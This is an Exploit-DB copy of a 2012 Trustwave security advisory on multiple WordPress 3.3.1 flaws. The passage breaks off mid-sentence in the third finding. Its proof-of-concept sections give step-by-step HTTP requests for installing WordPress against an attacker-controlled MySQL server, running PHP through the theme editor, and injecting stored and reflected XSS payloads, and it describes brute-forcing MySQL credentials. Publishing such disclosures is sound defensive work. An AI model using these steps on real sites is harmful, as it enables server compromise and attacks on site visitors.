Exploit-DB #18417
Description: WordPress Core 3.3.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-25
Author: Trustwave's SpiderLabs

Exploit:
Trustwave's SpiderLabs Security Advisory TWSL2012-002:
Multiple Vulnerabilities in WordPress

https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt

Published: 1/24/12
Version: 1.0

Vendor: WordPress (http://wordpress.org/)
Product: WordPress
Version affected: 3.3.1 and prior

Product description:
WordPress is a free and open source blogging tool and publishing platform
powered by PHP and MySQL.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: PHP Code Execution and Persistent Cross Site Scripting
Vulnerabilities via 'setup-config.php' page.
CVE: CVE-2011-4899

The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. This typically requires a user
to have valid MySQL credentials to complete.  However, a malicious user can
host their own MySQL database server and can successfully complete the
WordPress installation without having valid credentials on the target system.

After the successful installation of WordPress, a malicious user can inject
malicious PHP code via the WordPress Themes editor.  In addition, with control
of the database store, malicious Javascript can be injected into the content
of WordPress yielding persistent Cross Site Scripting.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server
W.X.Y.Z = Malicious User's MySQL Instance

1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306

2.) Performs POST/GET Requests to Install WordPress into MySQL Instance

Request #1
----------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Cookie: wp-settings-time-1=[PII_REDACTED]; wp-settings-1=m9%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

dbname=wordpress&uname=jsmith&[CREDENTIAL_REDACTED]=W.X.Y.Z&prefix=wp_&submit=Submit

Request #2
----------
GET /wp-admin/install.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2
Cookie: wp-settings-time-1=[PII_REDACTED]; wp-settings-1=m9%3Do
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT

3.) Get PHP Code Execution

Malicious user edits 404.php via Themes Editor as follows:

<?php
phpinfo();
?>

Note #1: Any php file in the theme could be used.
Note #2: Depending settings, PHP may be used to execute system commands
         on webserver.

Malicious user performs get request of modified page to execute code.

Request
-------
GET /wp-content/themes/default/404.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

4.) Get Persistent Cross Site Scripting

Malicious User Injects Malicious Javascript into their own MySQL database instance

MySQL Query
-----------
update wp_comments SET
comment_content='<script>alert('123')</script>' where comment_content='Hi,
this is a comment.<br />To delete \ a comment, just log in and view the
post's comments. There you will have the option to edit or delete
them.';

Non-malicious User Visits Wordpress installation and has Javascript executed on their browser

Request
-------
GET /?p=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1



Finding 2: Multiple Cross Site Scripting Vulnerabilities in
'setup-config.php' page
CVE: CVE-2012-0782

The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. When using this installation page
the user is asked to supply the database name, the server that the database
resides on, and a valid MySQL username and password.

During this process, malicious users can supply javascript within
the "dbname", "dbhost" or "uname" parameters. Upon clicking the submission
button, the javascript is rendered in the client's browser.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server

Request
-------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&[CREDENTIAL_REDACTED]=localhost&prefix=wp_&submit=Submit



Finding 3: MySQL Server Username/Password Disclosure Vulnerability via
'setup-config.php' page
CVE: CVE-2011-4898

The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. When using this installation page
the user is asked to supply the database name, the server the database resides
on, and a valid MySQL username and password.

Malicious users can omit the "dbname" parameter during this process, allowing
them to continually bruteforce MySQL instance usernames and passwords. This
includes any local or remote MySQL instances which are accessible to the
target web server. This can also be used as a method